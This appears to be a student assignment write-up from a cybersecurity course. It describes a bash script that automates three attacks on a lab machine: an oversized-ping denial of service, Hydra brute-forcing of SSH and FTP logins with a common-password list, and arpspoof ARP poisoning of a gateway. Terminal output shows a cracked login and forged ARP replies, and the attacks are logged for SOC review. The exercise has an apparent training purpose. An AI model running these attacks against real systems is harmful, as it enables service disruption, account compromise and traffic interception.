SOC Checker
Ahmad Shafie S11
CFC3110

```bash
# Display menu and read user input
echo "Please select an option:"
echo "1. Ping Of Death"
echo "2. Hydra"
echo "3. Arpspoof"
echo "4. Random"
read choice

# Execute function based on user input
case $choice in
  1)
    option_one
    ;;
  2)
    option_two
    ;;
  3)
    option_three
    ;;
  4)
    random_choice=$((1 + RANDOM % 3))
    case $random_choice in
      1)
        echo "Your Random choice is Ping Of Death"
        option_one
        ;;
      2)
        echo "Your Random choice is Hydra"
        option_two
        ;;
      3)
        echo "Your Random choice is Arpspoof "
        option_three
        ;;
    esac
    ;;
  *)
    echo "Invalid option."
    exit
    ;;
esac
```

Here i will be doing 3 different types of attack automated by bash-ing the .sh file. As shown, user will be given 4 different choices of attack in which, the fourth choice is a random pick out of the 3 attacks.

```
┌──(kali㉿kali)-[~]
└─$ # Display menu and read user input
echo "Please select an option:"
echo "1. Ping Of Death"
echo "2. Hydra"
echo "3. Arpspoof"
echo "4. Random"
read choice

# Execute function based on user input
case $choice in
  1)
    option_one
    ;;
  2)
    option_two
    ;;
  3)
    option_three
    ;;
  4)
    random_choice=$((1 + RANDOM % 3))
    case $random_choice in
      1)
        echo "Your Random choice is Ping Of Death"
        option_one
        ;;
      2)
        echo "Your Random choice is Hydra"
        option_two
        ;;
      3)
        echo "Your Random choice is Arpspoof "
        option_three
        ;;
    esac
    ;;
  *)
    echo "Invalid option."
    exit
    ;;
esac
Please select an option:
1. Ping Of Death
2. Hydra
3. Arpspoof
4. Random
4
Your Random choice is Hydra
```

Displayed here is the output if you chose the 4th option which echoed “Your random choice is Hydra”

```
function option_one()
{
  echo "You selected Ping Of Death"
  logger -p local0.notice "Attack type: ping of death, Time of execution: $(date), Target IP address: $ipAddr"
  ping -s 65528 $ipAddr

}
```

Shown above is the function to automate the ping of death command command if you select it as a form of attack.
A Ping of death (PoD) attack is a denial-of-service (DoS) attack, in which the attacker aims to disrupt a targeted machine by sending a packet larger than the maximum allowable size, causing the target machine to freeze or crash.

```
┌──(kali㉿kali)-[~]
└─$ bash soc.sh
Please enter the IP address you wish to attack.
192.168.234.130
Please select an option:
1. Ping Of Death(Ping of Death (a.k.a. PoD) is a type of Denial of Service (DoS) attack in which an attacker attempts to crash, destabilize, or freeze the targeted computer or service by sending malformed or oversized packets using a simple ping command.)
2. Hydra(Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.)
3. Arpspoof(Arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch.)
4. Random
1
You selected Ping Of Death
PING 192.168.234.130 (192.168.234.130) 65528(65556) bytes of data.
```

This is the output of the attack once you bash the script. First, it'll prompt you to type the IP address you wish to attack followed by the the choices off attack with its brief descriptions. If you selected ping of death, the terminal will start attacking your given IP address and logging the attack simultaneously.

```
┌──(kali㉿kali)-[~]
└─$ cat /var/log/syslog | grep "ping of death"
2023-03-03T08:33:18.235597-05:00 kali kali: Attack type: ping of death, Time of execution: Fri Mar  3 08:33:18 AM EST 2023, Target IP address: 192.168.234.130
2023-03-03T09:11:02.272601-05:00 kali kali: Attack type: ping of death, Time of execution: Fri Mar  3 09:11:02 AM EST 2023, Target IP address: 192.168.234.130
2023-03-03T09:24:59.260431-05:00 kali kali: Attack type: ping of death, Time of execution: Fri Mar  3 09:24:59 AM EST 2023, Target IP address: 192.168.234.130
2023-03-04T12:25:07.016397-05:00 kali kali: Attack type: ping of death, Time of execution: Sat Mar  4 12:25:07 PM EST 2023, Target IP address: 192.168.234.130
2023-03-04T12:36:48.123394-05:00 kali kali: Attack type: ping of death, Time of execution: Sat Mar  4 12:36:48 PM EST 2023, Target IP address: 192.168.234.130
2023-03-04T12:44:53.609031-05:00 kali kali: Attack type: ping of death, Time of execution: Sat Mar  4 12:44:53 PM EST 2023, Target IP address: 192.168.234.130

┌──(kali㉿kali)-[~]
└─$
```

After completing the attacks, you can extract the information(Date, time, attack type and target IP) in the /var/log/syslog directory.

```
function option_two()
{
  echo "You selected Hydra"
  echo ""
  if [ $(dpkg-query -l | grep '^ii' | awk '{print $2}' | grep hydra | head -n 1) == "hydra" ];
    then

    echo "hydra is already installed "

    else

    echo "Installing hydra."
  sudo apt-get install hydra
  fi

  echo "Do you have the password you wish to attack? 1) Yes 2) No(Password will be generated through Wikipedia's 10,000 most common passwords"
  read password
  case $password in
  1)
    echo "Please input password"
    read pwD
      echo "Please input the user you wish to attack"
  read useR
  hydra -l $useR -p $pwD $ipAddr ssh -vV -o hydra.log
  logger -p local0.notice "Attack type: Hydra FTP Brute Force, Time of execution: $(date), Target IP address: $ipAddr"
    ;;
  2)
  wget https://en.wikipedia.org/wiki/Wikipedia:10,000_most_common_passwords
  cat Wikipedia:10,000_most_common_passwords | grep "<li>" | grep "</li>" | grep -v href | awk -F">" '{print $2}' | awk -F"<" '{print $1}' > wikipw.txt
  echo "Please input the user you wish to attack"
  read useR
  hydra -l $useR -P wikipw.txt $ipAddr ftp -vV -o hydra.log
  logger -p local0.notice "Attack type: Hydra FTP Brute Force, Time of execution: $(date), Target IP address: $ipAddr"
    ;;
    esac
}
```

For the second option(hydra),Hydra is a pre-installed tool in Kali Linux used to brute-force usernames and passwords to different services such as FTP, ssh, telnet, MS SQL, etc. Brute force can be used to try different usernames and passwords against a target to identify the correct credentials.

First step is to check whether hydra is installed on the terminal using the dpkg-query command. If it is not installed, the script will prompt you then proceed to download hydra before moving on to the next step which is whether you have the password of the user you wish to attack. If you have the password, the terminal will prompt you to key in the password and the username of the victim. If not, the script will download a list of 10,000 most common password and use that as a backup for hydra. Once all that is completed, then will only the system will to attack through hydra.

```
┌──(kali㉿kali)-[~]
└─$ bash soc.sh
Please enter the IP address you wish to attack.
192.168.234.130
Please select an option:
1. Ping Of Death(Ping of Death (a.k.a. PoD) is a type of Denial of Service (DoS) attack in which an attacker attempts to crash, destabilize, or freeze the targeted computer or service by sending malformed or oversized packets using a simple ping command.)
2. Hydra(Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.)
3. Arpspoof(Arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch.)
4. Random
2
You selected Hydra

hydra is already installed
Do you have the password you wish to attack? 1) Yes 2) No(Password will be generated through Wikipedia's 10,000 most common passwords
1
Please input password
tc
Please input the user you wish to attack
tc
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-04 13:03:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.234.130:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://tc@192.168.234.130:22
[INFO] Successful, password authentication is supported by ssh://192.168.234.130:22
[ATTEMPT] target 192.168.234.130 - login "tc" - pass "tc" - 1 of 1 [child 0] (0/0)
[22][ssh] host: 192.168.234.130   login: tc   password: tc
[STATUS] attack finished for 192.168.234.130 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-04 13:03:24
```

```
┌──(kali㉿kali)-[~]
└─$ cat /var/log/syslog | grep "Hydra"
2023-03-03T08:27:23.844027-05:00 kali kali: Attack type: Hydra FTP Brute Force, Time of execution: Fri Mar  3 08:27:23 AM EST 2023, Target IP address: 1
2023-03-03T08:27:58.787139-05:00 kali kali: Attack type: Hydra FTP Brute Force, Time of execution: Fri Mar  3 08:27:58 AM EST 2023, Target IP address: 1
2023-03-03T08:28:33.479515-05:00 kali kali: Attack type: Hydra FTP Brute Force, Time of execution: Fri Mar  3 08:28:33 AM EST 2023, Target IP address: 192.168.234.130
2023-03-03T08:29:32.327232-05:00 kali kali: Attack type: Hydra FTP Brute Force, Time of execution: Fri Mar  3 08:29:32 AM EST 2023, Target IP address: 192.168.234.130
2023-03-03T09:11:32.264366-05:00 kali kali: Attack type: Hydra FTP Brute Force, Time of execution: Fri Mar  3 09:11:32 AM EST 2023, Target IP address: 192.168.234.130
2023-03-04T13:03:24.464379-05:00 kali kali: Attack type: Hydra FTP Brute Force, Time of execution: Sat Mar  4 01:03:24 PM EST 2023, Target IP address: 192.168.234.130
```

```
function option_three()
{
  echo "You selected Arpspoof"
  if [ $(dpkg-query -l | grep '^ii' | awk '{print $2}' | grep dsniff) == "dsniff" ];
    then

    echo "dsniff is already installed "

    else

    echo "Installing dsniff."

  sudo apt-get install dsniff
    fi

    if [ $(whoami) == "root" ];
    then

    echo "Please input the Default Gateway you wish to attack"
    read Defgat
        echo 1 > /proc/sys/net/ipv4/ip_forward
        logger -p local0.notice "Attack type: arpspoof, Time of execution: $(date), Target IP address: $ipAddr"
  arpspoof -t $Defgat -r $ipAddr

    else

    echo "Sorry, you are not running the program as root user. Switching to root user and copying file to a root user directory. Please try again."
    sudo cp soc.sh /root
    sudo -i
    exit

    fi
}
```

And for the third choice, arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch.

First step is to check whether dsniff is installed. Once all that is completed, system will check to see if you are running the script as a root user as arpspoof requires a root user to perform this task, If you are not running as root user, system will automatically copy the script to a root user directory and switch to root user before exiting and requiring you to restart the script as a root user.

```
┌──(kali㉿kali)-[~]
└─$ bash soc.sh
Please enter the IP address you wish to attack.
192.168.234.130
Please select an option:
1. Ping Of Death(Ping of Death (a.k.a. PoD) is a type of Denial of Service (DoS) attack in which an attacker attempts to crash, destabilize, or freeze the targeted computer or service by sending malformed or oversized packets using a simple ping command.)
2. Hydra(Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.)
3. Arpspoof(Arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch.)
4. Random
3
You selected Arpspoof
dsniff is already installed
Sorry, you are not running the program as root user. Switching to root user and copying file to a root user directory. Please try again.
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# bash soc.sh
Please enter the IP address you wish to attack.
192.168.234.130
Please select an option:
1. Ping Of Death(Ping of Death (a.k.a. PoD) is a type of Denial of Service (DoS) attack in which an attacker attempts to crash, destabilize, or freeze the targeted computer or service by sending malformed or oversized packets using a simple ping command.)
2. Hydra(Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.)
3. Arpspoof(Arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch.)
4. Random
3
You selected Arpspoof
dsniff is already installed
Please input the Default Gateway you wish to attack
192.168.234.2
0:c:29:4d:7f:6f 0:50:56:e8:a0:32 0806 42: arp reply 192.168.234.130 is-at 0:c:29:4d:7f:6f
0:c:29:4d:7f:6f 0:c:29:15:e1:3b 0806 42: arp reply 192.168.234.2 is-at 0:c:29:4d:7f:6f
0:c:29:4d:7f:6f 0:50:56:e8:a0:32 0806 42: arp reply 192.168.234.130 is-at 0:c:29:4d:7f:6f
0:c:29:4d:7f:6f 0:c:29:15:e1:3b 0806 42: arp reply 192.168.234.2 is-at 0:c:29:4d:7f:6f
0:c:29:4d:7f:6f 0:50:56:e8:a0:32 0806 42: arp reply 192.168.234.130 is-at 0:c:29:4d:7f:6f
0:c:29:4d:7f:6f 0:c:29:15:e1:3b 0806 42: arp reply 192.168.234.2 is-at 0:c:29:4d:7f:6f
```

```
┌──(kali㉿kali)-[~]
└─$ cat /var/log/syslog | grep arpspoof
2023-03-03T09:07:24.647517-05:00 kali root: Attack type: arpspoof, Time of execution: Fri Mar  3 09:07:24 AM EST 2023, Target IP address: 192.168.234.130
2023-03-04T13:06:09.171238-05:00 kali root: Attack type: arpspoof, Time of execution: Sat Mar  4 01:06:09 PM EST 2023, Target IP address: 192.168.234.130
```

Reference

Ping of Death: https://www.imperva.com/learn/ddos/ping-of-death/

Hydra: https://www.kali.org/tools/hydra/

Arpspoof: https://www.oreilly.com/library/view/learn-kali-linux/9781789611809/1bb735da-180c-4178-890f-b7026e8ea6ec.xhtml#:~:text=ARPspoof%20is%20used%20to%20send,practice%20of%20using%20this%20tool.

Credits

Mr James Lim, Head Trainer, Centre for Cybersecurity.